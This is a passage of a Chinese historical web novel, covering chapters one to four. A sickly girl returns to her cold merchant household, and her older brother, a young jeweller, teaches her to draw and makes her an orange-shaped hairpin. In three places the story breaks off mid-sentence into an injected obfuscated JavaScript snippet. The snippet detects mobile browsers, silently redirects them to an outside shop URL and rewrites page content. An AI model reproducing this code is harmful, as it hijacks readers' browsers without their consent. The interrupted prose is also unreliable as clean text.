《谋兄为夫》 1. 冰雪初遇 坚冰覆地,上下如银,车轮呲溜打滑,引得马车里的小女娃左颠右晃。 “这丫头缺了根手指,夫人说不能要。” 奶娘颤巍巍的声音传来,兰翠一把捂住小藏春的耳朵,可车外马夫的嗤笑还是漏进来:“早说了尼姑庵里养大的孩子晦气,偏大少爷非要接回来。” 藏春额头滚烫,眼睛因痛苦而紧闭,兰翠将豆丁儿大的女娃揽在怀里,“二小姐,再坚持一下,我们马上就可以到家了。” 马车终于摇晃着停下,碎雪如絮,覆在门匾一角,藏春还是认出了那模糊的“戚宅”二字。 她烧得双腿发软,看满地的雪只想一头扎进去,迷糊间听见兰翠嘀咕:“都知道二小姐今日归家,怎的没人出来接?” 赶车的马夫啧了一声,满是不耐,“赶紧进去吧,你一个下人管恁多闲事。” 兰翠张嘴欲辩,一口冷风呛入喉中,只得缩着脖子噤了声。 “谁说没人接?” 清朗的少年声音穿透风雪,兰翠仔细觑着眼,才从扑面的雪沫里认出那端正的身影,“呀”了一声,“大少爷?” 戚风堂一脚撂开许多雪,急得小四敞追得脸红脖粗,在后头直喊:“大少爷慢些,二小姐又不会飞了!” 初到戚宅,戚藏春本能地害怕,见来人走近,更是怯怯地往兰翠身后缩去。 十岁的少年疾步上前,腰间一枚错金点翠的玉佩,在雪光中灼灼生辉,那是他亲手所制,连铺子里的老师傅都叹绝的好手艺。 他蹲下身,与藏春视线平齐,指尖拂过她烧得通红的小脸,忽然从袖中抖落一串剔透的琉璃珠,“二妹妹拿着,这个比雪好看。” 藏春望着珠子亮烁的光斑,一时竟忘了闪躲。 漫天飞雪,银花飒飒,戚风堂牵起她冰凉的小手:“别怕,哥哥带你去见人。” 少年一身素净白绸衣,眉眼清俊柔和,在藏春小小的认知里,比邻居家那只白色带黑斑的狗儿还要……嗯,那个词好像是风度翩翩。 只是他牵着自己的手,却有些粗粝僵硬,指间的茧子磨得她生疼。 戚家很穷吗?需要他每日做许多活计?藏春小小的脑袋想不明白,她想悄悄把手往回缩,却被他更紧地握住。 戚风堂只当她胆怯羞涩,一路稳稳牵着,将她带进了暖阁。 戚家是寻常的两进商贾宅院。 暖阁里,戚老夫人盘腿坐在炕上,拿着逗弄竹猫的玩意儿引着牙牙学语的风林玩耍,宋明音对着澄亮的窗子做针线,杜姨娘正给文芝编着辫子。 厚重的棉布门帘掀开,裹挟着一股寒气,戚风堂带着那个小小的身影出现在门口,屋内众人的目光齐齐扫了过来。 宋明音膝上的针黹筐翻倒,一个茜草红色的绒线团子滚落出来,轱辘几个圈,停在了藏春脚边。 “捡起来。” 她声音发冷,“既然大郎执意接你回来,从今日起,你需记着三件事:一不许进正院佛堂;二不许碰你哥哥的衣物;三——”她的目光刮向藏春蜷着的左手,“别让人瞧见你那指头,还以为我们苛待了你。” 屋内霎时落针可闻,其余人也都不吭声。 戚风堂一步上前,拉起正弯腰拾线团的藏春:“娘,那算命道士的胡言乱语,您还要信多久?” 藏春缩在戚风堂身后,大气不敢出,宋明音脸色铁青,正要发作,忽听一旁的戚老夫人咯咯笑起来,儿子公然顶撞,又兼婆母疯癫搅局,她不禁气闷。 “娘,姨娘,祖母,今天是二妹妹归家的日子。”戚风堂再次强调,语气带着坚持,藏春从出生就被送走,初次归家,不该是这般待遇,这不公平。 “是啊”,杜姨娘给文芝编好最后一绺辫子,笑道,“到底是咱们家的孩子,出落得多水灵,藏春,我是你杜姨娘。”她轻轻推了下文芝,“快叫二妹妹。” “嘁,什么二妹妹,”戚文芝蹬蹬蹬跑到藏春面前,扯开眼皮做了个极丑的鬼脸,“姨娘骗人,我压根没见过她。” “文芝,不得无礼。”戚风堂教训弟妹时初显沉稳气度。 “姨娘你看,大哥哥就知道凶我!”文芝气鼓鼓地哼了一声,扭头就冲出去玩雪了。 藏春晕乎乎的,咬着唇将卷好的茜草红线团轻轻放在宋明音手边的矮几上,轻轻地唤了一声:“大夫人……” 宋明音那声“嗯”几乎听不见。 杜姨娘随手抓了两块甘草梅子塞给藏春,笑着打圆场:“往后就安心住下,跟文芝姐妹俩好好一处玩儿。” 听她们你言我语,戚老夫人觉得无趣,冷不防伸手就抢藏春手里的梅子,塞进自己嘴里吧唧嚼吧起来。 众人习以为常,只有藏春惊得呆住,委屈巴巴的小脸皱成一团。 戚风堂含笑递给她两块干净的梅子,“二妹妹别怕,祖母前年生过病,如今心性如同孩童一般。”他看着女娃眨巴着的大眼睛,被抢了梅子也不哭不闹,乖巧得让人心疼,忍不住伸手揉了揉她细软的头发,“简单说,祖母和二妹妹差不多大。” “大郎,别光顾着说了,”宋明音板着脸催促,“赶紧去铺子,你爹该等急了。” 戚风堂无法,只得起身离去。 藏春住进了东跨院的厢房,折腾一天,她早已精疲力尽,眼皮打架,难受得直哼哼。 兰翠用烈酒沾湿布巾给她擦拭身体降温,激得她浑身哆嗦。 她眉头紧锁,唯有攥紧的拳头不肯松开,兰翠轻轻掰开她手心,里面依旧是那片干枯的橘皮。她目光又不免落在那截缺失的尾指上,语带怨怼:“庵里那些姑子心肠都黑透了,但凡上点心,也不至于让个芝麻大的孩子自己玩刀。” 奶娘颤巍巍地进来,眯着眼也瞧不真切,兰翠见状更是气不打一处来,把手中布巾一扔:“奶娘您赶紧回去歇着吧,明日我就回了夫人,我一个人照看二小姐尽够了。” “你跟我嚷嚷有什么用,小孩子生个病,兴许睡一觉就好了……” 争吵声在戚藏春耳边断断续续,像许多只恼人的鸟儿在聒噪,她昏昏沉沉地睡去,意识在戚宅的陌生寒冷与那个遥远的栽满橘树的河边小屋之间飘荡。 高热中,她梦见娘亲将她推上马车:“小呓记住,从今往后,你姓戚。” 温柔的娘亲狠狠将她推远,她迈着小短腿拼命追赶,重重摔在雪地里,满脸雪渣,突然,一队黑甲骑兵冲散人群,传来什么东西“咔嚓”的脆响。 “二妹妹。”戚风堂的轻唤将她拽回现实,藏春这才发觉,自己竟将那片干橘皮掐出了汁水。 她昏睡了一个长久的下午,脸蛋烧得红扑扑的,天色已擦黑,窗外积雪积了厚厚一层。 大夫诊过脉开了方子离去,戚风堂让兰翠跟着去煎药,奶娘还在床边守着。 “奶娘,您先回去歇息吧。” “可二小姐还烧着……” 屋里只点了几盏麻油灯,戚风堂怕烟气呛着她,又灭了两盏,光线愈发昏沉,奶娘佝偻的身影挡在床前,遮住了本就微弱的光,戚风堂低声劝慰,好说歹说总算将人劝走了。 他独自留了下来。 一双带着凉意的手轻轻覆上藏春滚烫的额头,她还是想娘,想哥哥,想姐姐……她挣扎着睁开眼,朦胧中看见一张陌生的脸,惊惶地想喊人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708963|189231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浑身却软得像团棉花,只能徒劳地捂住自己的眼睛。 “藏春不怕,是哥哥。”戚风堂温声似玉。 “哥哥…?”藏春鼻塞声有些重。 少年凑近了些,让她能看清自己的面容,是个很漂亮的哥哥,可对藏春来说,依旧是陌生人。她那双葡萄似的大眼睛只是茫然地睁着,不说话,被子被拉得高高的,盖住了小巧的下巴。 “二妹妹是想娘亲了吗?方才…你梦里一直在喊……”戚风堂声音放得极轻。 藏春把头摇得像拨浪鼓。 她这么小,怎么可能不想?戚风堂垂下眼帘,浓重的愧疚上涌,他不该提苏姨娘的,可若这个家里连一个提起她的人都没有,二妹妹岂不是更可怜? 他还未开口,就被门外兰翠一声低唤叫了出去。“少爷,您何必跟二小姐解释这些?她年纪这样小,说了也听不懂的。”兰翠弯着腰,轻声劝。 “兰翠姐姐……”戚风堂声音艰涩,“我想给藏春道个歉,若不是那命格之说,她怎会被送到庵里?苏姨娘也不会在送她的路上染病去了……你们都知道的,我从不信那些话,都是那道士胡言乱语骗娘的银子。” 他虽年少,但跟着父亲打理铺子,言行素来沉稳,像个小大人。 “大少爷,这是夫人和老爷的决定,您那时候还没二小姐大呢,能懂什么?”兰翠叹息。 大人们总以为小孩子心里糊涂,戚风堂与她话不投机,也不想再多说,踅进了屋。 苦涩的药味引得藏春舌尖发颤,戚风堂耐心地扶她倚在榻上,学着杜姨娘照顾文芝的样子,笨拙地舀起一勺药汁,送到她唇边吹了吹:“二妹妹乖,吃了药,病才能好。” 他变戏法似的从袖中掏出一个小小的油纸包,展开来,里面裹着几块晶莹油润的琥珀色糖糕,“喝完药,就给你吃这个,比杜姨娘给的甘草梅子还甜。” 藏春半信半疑,可那诱人的甜香太有蛊惑力,为了得到它,她还是乖乖喝光了药。她想着吃了糖糕,梦里也该是渗着甜丝丝的蜜味儿吧。 戚风堂刚走出厢房,四敞就撑伞迎了上来,他与戚风堂同岁,却矮了大半个头,踮着脚举伞的样子很是滑稽。 小四敞实在不明白自家少爷的心思,“少爷,前儿您做那会飞的金翅膀,就被老爷骂不务正业,今儿折腾到大半夜还不歇息,万一累病了,耽误去铺子,又得挨骂,您何苦在二小姐身上浪费时间。” “藏春是我亲妹妹,”戚风堂温声中带着严肃,“若非当年之事,她也不必受这么多苦,以后这种话都别说了。” 厢房内,藏春根本没睡着,听着屋里没了动静,她悄悄支起身,踮着脚扒到窗边,竖起耳朵偷听。 喝了药肚子里暖暖胀胀的,脑袋仍是晕沉沉的,她在结满冰的窗子上抠抠点点,忽然脚下一空,身子陡然悬起,小藏春以为自己被云朵托了起来。 一抬头,却对上兰翠的脸。 “翠姨……”她的声音糯糯的,带着被发现的羞赧。 兰翠托着她的小屁股,将她稳稳放回榻上:“我的小祖宗,病还没好利索呢,赶紧睡觉。”不由分说地用被子将她裹得严严实实,只露出两只骨碌碌的黑眼睛。 “翠姨,”被子里传出闷闷的,小小的声音,“他…叫什么呀?” “他?”兰翠一愣,随即明白过来她问的是少爷,认真纠正道,“他叫哥哥,不叫他。” 小藏春满脸困惑,眨巴着大眼睛,翠姨是不是有点不聪明? 哥哥是称呼呀,怎么能是名字呢?还没来得及细想,就被兰翠轻轻拍哄着强制入睡,“快睡吧,明日还要去见老爷呢。” 2. 翠园宝库 圆滚滚的雪球砸在了窗子上,发出一声脆响。 藏春掀开一线窗缝,只见文芝拎着个草扎小人冲她晃悠:“这个送你呀。” 草人的左手赫然缺了一根手指,藏春惊吓中将它远远扔开。 兰翠进来时撞见这一幕,急忙上前用手轻抚藏春的脸蛋,无奈地说:“大小姐她有亲娘护着,老爷又偏疼杜姨娘,便是夫人也比不上的。” 方才的惊吓已经散了,藏春学着记忆中娘亲的样子,拍拍自己的小胸脯,“翠姨,没关系,我不理大姐姐就是了。”说完,还不忘冲兰翠绽开笑容。 才五岁就这般察言观色,兰翠心里更不是滋味,爱怜地摸摸她额头,好在休息几日,烧总算退了。 戚宅不算大,只有四个小院子。 藏春慢悠悠挪着被兰翠包裹严实的身子,寒风飒飒,吹得她额头瞬间冰凉。 院中那棵老桃树挂满了霜,稍一碰触便会簌簌落雪,风林坐在树下玩耍,见藏春过来,咿咿呀呀地笑着,似乎想喊“姐~”。 她往那边去,却被一道黄色身影挡在面前,藏春人小却看得分明,大姐姐伸出的脚,分明是想绊她。 她脚步迟疑,本想绕开,目光却瞥见那抹熟悉的白色身影正踏雪而来。 她闭了眼,放弃了躲避。 “啪唧——”果然摔倒在地,小脸沾满雪沫,鞋袜也被重重踩脱,她强忍着疼,眼眶泛红,却不哭出声。 一双手从腋下稳稳将她托起,戚风堂伸手想擦她眼底的泪,指腹触及的瞬间,才发觉自己看错了,那竟是一颗红痣。 “文芝,你过分了。”戚风堂板起脸。 “分明是她自己笨,走路都能摔跤,大哥哥也怪我?”戚文芝气恼地轻踹旁边懵懵懂懂的风林一脚,风林眨巴着眼,竟跟着点了两下头。 屋里的大人们各自忙碌,对孩子们的吵闹置若罔闻。 藏春轻轻拉了拉少年的衣袖,“哥哥,是我自己摔的,不关大姐姐的事”,话音未落,文芝早跑得没影了。 戚风堂蹲下身,见她鞋袜湿透,嫩白的小脚冻得通红,忙解下自己的披风,将她严严实实裹住,随即转身半蹲在地,侧头看向她。 “二妹妹上来。” 上去的瞬间,藏春的屁股拱了拱才趴稳当。 背上的人轻飘飘的,戚风堂心头泛起酸涩,同是亲妹妹,文芝可以任性妄为,她却这般懂事,甚至有些小心翼翼,他不禁问道:“二妹妹为什么不哭?” 藏春晃悠着小腿,声音稚嫩:“因为大姐姐有娘亲呀。” 童言无忌的一句话,却让戚风堂无言以对,内心多了份重量,苏姨娘的身故,他难辞其咎。 “哥哥,你怎么不说话,是生气了嘛?”藏春问得小心。 “怎么会,”戚风堂声音微涩,“哥哥是心疼你。” 心疼?娘亲说过,喜欢一个人才会心疼,就像娘心疼哥哥姐姐和她。 “那哥哥是不是喜欢我,非常非常喜欢我呢?” 戚风堂心头被她搅得七上八下,虽不解这跳脱的思路,却温柔应道:“是,哥哥喜欢你,非常非常喜欢你。” 他没有送藏春回去,而是背着她去了自己的翠园。 他将藏春放到软榻上,从柜中取出一双崭新带着绒毛的小靴,靴面上绣着两只圆滚滚讨水喝的黄鹂鸟,他半跪于地,仔细为她穿好。 藏春方才就注意到,哥哥的院子与她的不同,摆满了各种奇形怪状的器具。 见她眼底似有水光,戚风堂差点又要去擦,旋即低头笑自己眼花。 那颗痣真很像一滴泪,也难怪他总觉得二妹妹哭了。 藏春蹦下榻,伸出圆乎乎的小手,主动牵住戚风堂的袖子,大眼睛里满是好奇,盯着那些新奇工具。 戚风堂也不当她幼小无知,俯身指着院中物件,开始细说:“那是旋车,旁边是硬木支架。”他摊开手掌,露出一根线,“这是牛筋弓弦,都是固定珠坯用的。” “还有这些,解玉砂、石榴石砂、金刚砂,粗磨精磨都用得上。”他一一展示,又牵着她走到院中,指着一个特别的凳子:“这叫水凳,就是接废水的,那是蜂蜡盘,用来吸附珠坯防滑的。” 藏春小脸困惑,却依旧专注地看着,乖巧得让戚风堂有些不好意思,他滔滔不绝,却忘了眼前不过是个五岁的小女娃。 “走,这些不好玩,哥哥带你去看好看的。” 踏入偏房,藏春眼前一亮,博古架上琳琅满目,挂摆着各种鲜亮的首饰,珠玉生辉,花枝鸟颤,宛如仙子妆奁。 女孩儿天性使然,她看得目不转睛,下意识想伸手去碰,又怯生生缩回,生怕碰坏了。 “不妨事,都是半成品,还没完工呢。”戚风堂温声道。 匣中花瓣栩栩如生,触手却冰凉坚硬,藏春反复试探,满眼惊奇,这竟是假的。 戚风堂心情大好,这些常被父亲斥为不务正业的小玩意,终于有了知音,他兴致勃勃地解释:“花瓣是宝石雕的,这牡丹是红玛瑙,梅花是白玉,都是些讨巧的玩意儿。” “都是哥哥自己做的?哥哥好厉害。”藏春由衷赞叹。 见她喜欢,戚风堂迫不及待展示另一件得意之作,紫檀木盒上静卧一支金蜻蜓簪。藏春本不喜虫豸,即便金光灿灿也不甚在意。 然而当戚风堂拿起它轻轻一拨。 “这…这是活的蜻蜓?”藏春惊得小嘴微张。 “哈哈,”戚风堂被她逗乐,“这是金丝累丝的翅膀,我自己瞎琢磨的。” 轻轻一触,薄翼便轻盈颤摇,活灵活现。 藏春爱不释手,戚风堂大方道:“二妹妹喜欢就送你。”他俯身,带着笨拙的哄诱轻声道:“文芝可没有这个,以后受了委屈就来找哥哥,你喜欢的,哥哥都给你。” 她目光落在戚风堂指节分明,带着薄茧的手上,忽生怜意:哥哥定是日夜不停地做这些,才磨出这么多茧子,可惜了这双漂亮的手。 戚风堂不解她为何忽然低落。 藏春错开眼神,仰头望向房中高悬的匾额,“什么圆…什么方?” “智圆行方。”戚风堂有些惊喜,“二妹妹竟认得字?” 其实她只识得几个,被他一夸,倒有些羞赧。 “二妹妹想念书吗?” 念书?娘亲说过明年就让她和兄姐一同念书的,藏春用力点点头,她想念书。 藏春目光无意间扫过书案,上面摊着戚风堂画的图样,她好奇地伸出小手指了指:“哥哥,这些真好看。我…我也想学画小鸟儿,小花儿。”她声音细细的,带着点试探。 戚风堂微微怔住,这竟是二妹妹头一回主动向他表达喜好,案上那幅,正是他为南安王侧妃设计的金累丝牡丹嵌宝翟鸟冠的草图,尚未呈给父亲过目。 “二妹妹,这是画珠宝的图样,就像…给漂亮的鸟儿穿上衣裳的图纸。”看着妹妹亮晶晶的眼睛,他笑着允诺:“好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708964|189231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等二妹妹再长大些,哥哥教你画这些漂亮的花样,现在咱们可以学些简易的。” 藏春满足地抿嘴笑了。 兄妹俩静静仰望匾额,直到兰翠寻来。她一眼瞧见藏春脚上的新靴,心下明了,见大少爷已将人哄好,她也不便多言,“老爷回来了,大夫人叫少爷小姐去用饭呢,快收拾过去吧。” 暖阁里,稻米饭香,碗箸齐备。 戚焕闷头吃饭,满脑子铺子的流水账和裁汰冗员,杜姨娘推他,才发觉桌边多了个小人儿。 “爹爹。” 戚藏春声音细细的,扒拉着碗里的饭粒,局促不安,戚焕对这个女儿感情淡薄,只略略点头。 饭桌上,杜姨娘忙着照料一双儿女,戚老夫人那边由奶娘哄着吃喝,宋明音时刻关注着戚焕,殷勤布菜盛汤。 唯有藏春,短胳膊只够得着眼前那碟醋溜黄瓜,默默吃了一口又一口。 忽然,碗里多了一块肉。 戚风堂不知何时坐到了她身旁,很快的她碗里不仅有黄瓜,还有肉、鱼,鸡蛋,旁边还多了一小碗韭菜蛋花汤。 宋明音看在眼里,心头不悦,自己辛苦养大的儿子,倒成了那颠颠伺候人的。 “大郎,孙员外家夫人订的斜插鬓,做得如何了?”戚焕沉声问道。 戚风堂立刻放下筷子,拭了拭嘴角,藏春偷偷看去,觉得哥哥和爹爹说话时,似乎也有些拘束,瞬间又拉低了对爹爹的印象。 “爹,已经送去了,孙夫人很满意。”戚风堂答得规矩,亦不敢居功。 “嗯,”戚焕不轻不重应了声,“莫要骄傲,有空琢磨那些投机取巧的把戏,不如把心思放在正经珠翠上。” 众人早习惯他这般说话,见他心情尚可,戚风堂趁机提起开家塾一事。 家中如今只长子一人上学,戚焕略一思忖,商贾之家虽富,若想长久兴旺,终需读书仕进,生意可托付天赋奇佳的长子,幼子或可一试科举。 杜姨娘也动了心:“总说咱们商贾没根底,我看大郎这主意好。”她抽出风林嘴里嘬着的汤匙:“风林,想不想像大哥哥一样读书识字?” 风林眼巴巴望着那咸津津的汤,见姨娘突然凑近,只得稀里糊涂地点头,杜姨娘又问藏春,她自然也是愿意的。 “姨娘,我不想念书。”文芝刚撂下筷子要闹,就被一句“没你说话的份儿”堵了回去,杜姨娘心知女儿脾性,也懒问她。 家塾之事就此定下,戚风堂朝藏春微微一笑。 宋明音又给戚焕夹菜盛汤,语气颇为殷切:“瞧着天阴得厉害,怕是晚间要下大雪,老爷一会儿就别去铺子了吧?” 言语间,她脸上浮起一抹可疑的红晕。 戚焕果然抬眼望了望阴沉的天,还没答话,戚老夫人忽然嘿嘿笑起来,推了推戚焕,又指了指宋明音,嗓音清晰透亮。 “你媳妇想跟你生娃娃哩!” 此言一出,宋明音满面通红,想喝口汤掩饰,反呛得连连咳嗽。戚焕也是又羞又恼,当着儿女面,支吾着不好发作,欲盖弥彰的甩了甩衣袖,“娘,您又胡说些什么!” 杜姨娘慌忙低头吃菜,手忙脚乱地给文芝和风林夹菜,她一个尴尬的妾室身份,只当没听见。 宋明音的确一直盼着再添一子,可哪有这般直白的道理。 藏春看着众人怪异的脸色,不明所以,戚风堂已伸手捂住了她的耳朵,牵起她的小手带离了暖阁,“小孩子,不能听这些。” 3. 橘香簪 藏春双手托腮,脸上的软肉挤作一团。 她时不时盯紧外面的天色,又装作若无其事的用呵气熏热冰碴,兰翠看她这模样儿,笑着戳穿,“这么晚了,大少爷不会来了,他今儿忙得很。” “可是哥哥答应要教我画漂亮小鸟儿的。”话一出口藏春才觉露馅,慌忙用短指捂住嘴,“我才没等哥哥呢。” 兰翠忍笑,一把抄起她腋窝抱上了塌。 又是被拔地而起,藏春再也不会幻想是云彩把她托起来了,毕竟只有翠姨才会这么豪爽。 她不大情愿被摆弄着盥沐,身体扭成麻花,不过翠姨买的澡豆将她洗的香喷喷的。 带着栀子香裹进被褥,藏春又蛄蛹着坐起,她眉毛有些疏淡,更将人的注意都凝在了忽闪的大眼睛上,“翠姨……” 软乎乎的一声谁又能忍心拒绝和她聊天,兰翠果然放下手中针线,“嗯?” “翠姨,哥哥每日都忙什么呀?” “嗯…大少爷从六岁就在铺子里跟老师傅们学活儿了,他聪明又有悟性,往后家里的铺子都得靠他撑着,所以他才忙的。” 藏春低头,哥哥送的那串琉璃珠还挂在腕间,被麻油灯照亮得灼目,她又问:“翠姨,咱们家是很有钱嘛?” “应该吧,咱们家三个铺子,算是临安城里数一数二的珠宝商了……”兰翠还没说完就被一声清澈的“二妹妹”截住了,她一个愣神,藏春就从榻上噔噔地跑下来了。 她看了眼藏春赤着的脚丫,嘴角一撇,幸好木板地擦了,不然又白给她洗了。 兰翠嗔怪着端盆出门,霎时就被冷气冻透了,她哈气跺着碎步,不忘嘱咐戚风堂,“玩一会就行了,别太晚了。” 屋内炭盆火烧的正旺,戚风堂解下粘雪的狐氅挂在黄梅架上,又去烘了冻僵的手,笑着对藏春说:“离远些,哥哥身上凉。” 藏春巴巴望了一会,也并未急着画画,她抿了抿唇,踅摸到床榻边,踮脚费力的去拨妆奁上的鎏金塔扣。 戚风堂看着她的动作,不明所以。 眼见着“哒”一声后塔扣开了,她从中取出一只青瓷盒,指尖蘸了些许香膏,又迈着短腿跑到戚风堂面前。 那根没蘸香膏的指尖指着戚风堂的手,“哥哥的手都皴啦~” 对着橙黄的烛光,戚风堂摊开手掌看了看,细长的指骨一览无遗,不过是些累月做工磨出的茧子,他从没在意过。 藏春小小的手拉着他,细致的把香膏给他均匀涂上指腹,手背。 哥哥的手,是她见过最漂亮的手,不能这样糟蹋。 细嫩的小手带着甜香味在戚风堂手上搓磨,认真的像对待一件藏品,戚风堂觉得二妹妹简直有点憨得可爱。 “二妹妹喜欢吃橘子?”他突然问。 藏春点点头,从前家里的小河边就栽种着一棵橘子树,那时姐姐会爬上去,摘下好多橘子,一想姐姐爬树被娘亲追着打的样子她就想笑。 橘子就那么好吃么?光是想着就能笑出来,戚风堂默默在心里想。 “翠姨还说哥哥今天肯定不会来了呢。”藏春带着点不易察觉的小骄傲。 “怎么会,只是戚宝斋又接了一批订单,所以才忙到这么晚的,我答应二妹妹教你画画就不会食言,你看哥哥连工具都带来了。” 藏春伏在案上,看着戚风堂从木箱里一件件的掏出来,有的见过,有的稀奇得她都叫不出名字。 澄心堂纸、鼠须笔、廷珪墨、掺了珍珠粉的松烟墨、界尺、还有旋彩砚台。 戚风堂教她用香灰起稿,转头藏春就用鹅毛管吹了自己一脸的灰,把自己弄成了脏兮兮的小花猫,戚风堂想笑又觉不合时宜。 只能忍着给她收拾。 最终他还是决定自己弄,让藏春在旁看,他将给南安王侧妃做的翟鸟冠后半部分的草图拿来了这里。 戚风堂神色专注,起笔顿挫,用灰迹在纸上勾边,指甲轻划定基准线,鼠须笔蘸淡墨勾结构线,手腕提按,收笔如丝。 藏春乖乖地坐在蒲团上,只觉这个画面很好看,画至精微处戚风堂鼻尖距纸仅一寸,唯鼠须笔尖在澄心堂纸上沙沙游走。 每一处戚风堂都给她先讲一遍,自己再行演示,这样教藏春真的能懂个大致。 窗外星星澄明闪耀,藏春也困得眼皮打架,戚风堂洗了洗鼠须笔悬展于笔架,“明日去书塾,二妹妹要早些休息。” 藏春搓搓眼睛,睡眼朦胧之际心里格外放松,顾虑也随之脱口,“哥哥,我有些害怕去书塾。” “害怕?为什么害怕?” “因为…因为”,藏春有些羞涩地摸了摸自己的头发,“因为翠姨梳头不好看,我听说家塾里面还会有新的哥哥姐姐来,我怕她们笑话我头发丑。” 头发……丑?这个缘故实在令戚风堂哭笑不得,她才五岁就知道爱美了,果真是天性使然。 藏春扯扯他的袖子,轻声问道:“哥哥会梳头发吗?” 黑溜溜的眼珠带着深切的无辜,戚风堂有些为难,看着她鬓发散乱的的模样,还是暗自下了某种决心。 “会,哥哥什么都会,你放心明早哥哥一定给你扎一个漂亮的发髻。” 藏春笑靥如花,心满意足。 翠园里灯火通明,哀嚎声时断时续。 四敞沦为了戚风堂练手的倒霉蛋儿,他头发被揪扯断掉了好几十根,脑袋一会被大少爷拉着向左,一会又被扯着向右,一会又提着向上,总之七扭八绕。 “疼、疼疼,大少爷……”四敞一晚上不知喊了多少次。 “抱歉啊,你再坚持一下。” 矮几上摆着发髻的图样,戚风堂是学什么都很专注的性子,于他而言繁复精美的珠宝首饰做得,这简单的双环髻肯定也非难事。 只是可怜了四敞被他扎成了一个小姑娘,他很不高兴的嘟哝着,对大少爷半夜不睡,给他扎头发的行为万分不解。 大少爷明明就不会,非要充大尾巴狼。 其实这件事,戚风堂也并非是好面子,想树立一个全才的兄长形象,只是因为文芝的辫子都是杜姨娘扎得。 他始终是…亏欠了藏春的。 四敞顶着歪斜的双环髻打盹,戚风堂沉思:莫非该用鱼胶固定?可是过于牢固应该也不大合适吧。 戚风堂自己对着麻油灯,在手札上记下方才的几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708965|189231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难点步骤。 壹、银簪划中缝,尤其注意不能缝歪,否成蚯蚓。 贰、编辫时要取三股。 叁、空心环要插竹簪固定,很重要。 肆、扎绸带,一定要是蝴蝶状的。 绸带竹签堆满烛台,戚风堂揉着酸涩眼皮,攥断第三根绸带时,终于抵挡不住困意,合衣睡着了。 藏春对去私塾之事有了隐秘的期待,直到更漏滴到三更时才安心阖眼。 邻居家的公鸡打鸣,她没用兰翠喊,便轱辘爬起来,拿着帕子擦了脸,又用盐水漱口,然后乖巧地坐在铜镜边。 不一会,戚风堂就过来了。 乌黑细滑的头发在戚风堂指尖盘踞,他有些紧张,可二妹妹那么信任他,他也只得装出一副胸有成竹的模样。 藏春用的头油都散着甜柑橘味儿。 戚风堂绷脸屏息插簪,缠绸带时却不小心勾住她衣领系绳,扯出死结急出满头汗,好一会才解开。 铜镜里,戚藏春揉揉眼睛,是她看错了么?她摸摸两边大小很不一样的发环,“哥哥,为什么左环大得像炊饼..” “呃右...右环小些能衬脸圆。好看。” 好吧,其实戚风堂也不知道自己在说什么。 他知自己技拙,已经想好了补救之策,他从袖中拿出来一个发簪,插在藏春右边更小的那个环上,算是补齐了缺口,“你初次归家,我便见你手中攥着一块橘皮,便做了这个钗,二妹妹可喜欢?” 戚风堂用橙水晶和蜂蜡拟出了果肉的晶莹感,若不执手细看,与真的别无二致。 “我喜欢,喜欢的。” 藏春雀跃的给翠姨展示,兰翠倚门带笑,她行走时橘体如鲜果摇颤,灵动轻巧。 这是戚风堂特意在橘蒂处藏了黄铜簧片,这点小把戏,二妹妹喜欢就好。 书塾设在了正院的最大的西厢房,院中一个八角井台,以此为界,划分了读书的孩子与忙碌的大人。 戚宅的左邻是开绸缎铺子的贾家,算起来跟戚家是远亲,贾老爷有一个女儿叫贾朵,跟文芝一般大,听闻戚家开了私塾便也张罗着夫人将孩子送过来。 戚家做珠宝生意时常用到飘扬过海而来的珠宝原石,一来二去戚焕结识了漕帮帮主,其子也与戚风堂玩的热络。 何郝连听闻他家开了私塾,说什么也要跟来,读书是好事,何帮主也就顺他了。 文芝虽不爱念书,但偏偏最喜欢读书人,最重要的哥哥弟弟妹妹都念书,她不想落单,便也不情不愿的过来了。 贾夫人牵着贾朵,贾朵微微福身,柔顺的管戚风堂叫:“风堂哥哥。” 藏春挨着回礼,细声唤道:“朵姐姐。” 何郝连也想听这声哥哥,斜觑文芝:“怎的不叫我声哥哥?”文芝帕子一甩:“谁要认你做哥哥。”她始终想不通,温和知礼的兄长怎会与这漕帮浪子厮混。 碰壁的何郝连与贾朵也攀不上亲,况且贾夫人在场他也不好造次,就只能盯着年纪最小的藏春,他踢着石子哼俚曲,咧嘴一笑。 戚风堂知道这位好友的德行,无奈的给藏春介绍:“哝,那位是你郝连哥哥。” 4. 家塾 卯时三刻,戚宅西厢房内,六张榆木书案排成三列。 时辰尚早,教书的柳先生还未至。 贾朵与藏春相见如故,自然的坐到了一处。 窗外淡金色的光不偏不倚落在藏春的发髻上,贾朵被吸引了,忍不住凑近,“藏春妹妹,你头上的金橘好漂亮啊。” 